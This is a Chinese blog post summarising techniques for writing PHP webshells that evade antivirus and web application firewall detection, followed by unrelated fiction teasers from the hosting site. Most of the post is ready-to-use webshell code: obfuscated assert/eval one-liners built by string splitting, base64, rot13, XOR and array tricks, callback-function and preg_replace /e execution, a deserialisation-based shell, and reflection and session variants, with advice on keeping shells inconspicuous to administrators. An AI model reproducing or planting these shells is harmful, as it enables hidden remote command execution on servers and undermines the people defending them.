全方位构造免杀 webshell 小结 [一]

0x01 基于各类常规命令和代码执行函数的花样变形[如,拆分重组,动态执行,以此来躲避静态特征检测],不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行[如,php7],万一再开了安全模式,就又有点儿费劲了

php中一些常见的执行类型函数:

system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...
<?php $_POST['fun']($_REQUEST['req']);?>
<?php  $req = "a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
<?php $cmd = `$_POST[ch]`;echo "<pre>$cmd</pre>";?>
fanyinhao.png
<?php $arr = array("a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
<?php 
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?> 

0x02 利用各类编码来消除静态特征,以此来扰乱waf识别流量,说实话这种还是相对比较容易被检测到

利用base64编码,这种编码可能是各类webshell中用的最频繁的一种,如,weevely中默认就是用的base64,所以免杀性相对较好,另外还有诸如各类免杀大马,过waf菜刀等等……

<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>

利用rot13编码,也用的比较频繁,关于各类编码的内部工作细节,请仔细阅读开发手册

<?php $a=str_rot13('nffreg');$a($_POST['req']);?>
<?php  ($req = $_POST['req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>

利用url编码以及自定义加解密实现的免杀,其实也有点儿类似编码,因为是自己设置的加密,所以只有通信的双方知道,这样一来waf就很难在未解密数据中识别出webshell特征,不过人眼还是很容易就看出来的

不实用

利用ASCII码转换,消除特征,如chr...比较简单,也比较原始,这里就不多说了,实战也不推荐用,肉眼扫一下就看出来了

不实用

利用 xor [异或] ~[取反] 注入此类的位运算,实战中依然不推荐,只要是个正常人基本都能看出来这是啥,实际中记得先把下面的url编码解码

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

数组特性,这个就更不推荐了,看似花哨,但正常的项目代码中是根本不可能出现这些东西的,很明显,这无疑是在故意告诉别人,你来了,然后这就是你的webshell请删除,如果单单只是想免杀,回调和反序列也许会更好,相对比价隐蔽,完全不用这么招摇过市的搞

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[req]); // ASSERT($_POST[_]);

0x03 利用一些特殊的web服务器及脚本自身配置来bypass waf

利用短格式来实现免杀,前提需要目标的php配置已经事先开启短格式支持[php.ini有对应的开关],不过一般默认都是没开的,确实比较鸡肋,不实用
short_open_tag = On 
<?=`$_GET[m]`;

0x04 利用各种脚本语言自身的语言特性灵活隐匿webshell,个人非常推荐的方式,扩展空间也非常的大,较适合用于实战:

具有回调特性的函数其实还有非常多,这里只是简单地列出了一部分,可挖掘的潜力还比较大,大家可对着手册自行深入研究,利用回调的好处除了免杀之外,还有就是可以很方便我们直接把我们的shell插到目标的正常代码中,让其变得更加难以追踪,关于webshell隐藏的更多内容,大家可参考我的博客,那里很久之前稍微总结了一些:
<?php $a = create_function('', @$_REQUEST['req']);$a();?> 
<?php $ah = $_POST['ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
<?php $fun = $_REQUEST['fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
<?php $arr = new ArrayObject(array('xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>
<?php 
    $fun = base64_decode($_REQUEST['fun']);
    $arr = array(base64_decode($_POST['code']));
    $arr2 = array(1);
    array_udiff($arr,$arr2,$fun);
?>
<?php mb_ereg_replace('.*', $_REQUEST['req'], '', 'e');?>
<?php $fun = $_REQUEST['fun'];register_shutdown_function($fun,$_REQUEST['req']);?>
<?php echo preg_filter('|.*|e',$_REQUEST['req'],'')?>

利用序列化与反序列化免杀,简单来讲原理类似反序列化漏洞,因为成员变量可控,在析构的时造成的代码执行:

<?php
class shell{
    public $code="tmpdata";
    function __destruct()
    {
       assert($this->code);
    }
}
$ser = $_GET['serdata'];
unserialize($ser);

序列化后的数据

<?php
class shell{
    public $code="phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;

编码配合动态函数:

<?php 
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array("a"=>$fun);
$a = "${ $arr['a']($code)}";
?>

利用包含特性,也是一种相对比较原始的waf bypass方式:

<?php include './include_shell.txt'?>

利用session机制免杀:

<?php 
session_start();$_SESSION['cmd'] = trim($_POST['code']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
?>

利用php反射特性免杀

<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));?>

0x05 后话

上面的给出的这些shell,正常来讲,都不会活很久,可能有的早已经死了,像各种各种编码它本身就是敏感特征
因为自己目前还在外地,完整环境也不在身边,就没一一给大家进行实际的免杀测试了,不过这并不是目的
这次主要还想跟大家好好梳理一些可以用来免杀的特性,大家可以再单独针对这些特性去深入研究,达到灵活变通才是最终目的
实战中,假设某一个特性不行,不妨同时几个特性配合着一起来,往往会有不错的效果
说实话,如果不针对这些带有特殊特性的函数下手,只是简单的见招拆招,基于此思路衍生出来的shell,waf是很难做到主动识别的
所以,大家大可不用担心这些shell被杀,核心还是灵活掌握这些最基本的免杀思路
没事儿还是非常建议大家多去翻翻php的开发手册,里面还有很多没被发觉出来的宝贝,也期待能和大家一起多交流
如果真的是深刻理会了,像什么过waf菜刀自然就很容易理解了,其实现在看来还是蛮简单的
自己拿wireshark跑跑POST包就能看到的很清楚了,然后再针对杀的点逆向一下即可
其实,随着php快速的升级迭代,有些特性可能并不能适用于所有php版本,这也再正常不过
以前的没有了肯定还会有更好的替代品,还是那句话,思路比任何东西都要重要
可能大家也发现了,这次基本全部都是在说php,并没有涉及到asp或者aspx,不过其中有些脚本特性都是相通的,大家触类旁通就好了
实际使用中建议不要用的过于花哨,没错,也许你确实是躲避了waf,但却没逃过运维大叔们的法眼,所以,越不显眼,代码越正常,长度越短越好
当然啦,方法肯定不止这么点儿,期待能和大家一起多交流
始终坚信,授人以鱼不如授人以渔,^_^ 未完,待续……

欢迎大家多多关注 我的博客 或者 扫码关注个人微信公众号 'apt攻防指南'

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,809评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,189评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 167,290评论 0 359
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,399评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,425评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,116评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,710评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,629评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,155评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,261评论 3 339
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,399评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,068评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,758评论 3 332
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,252评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,381评论 1 271
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,747评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,402评论 2 358

推荐阅读更多精彩内容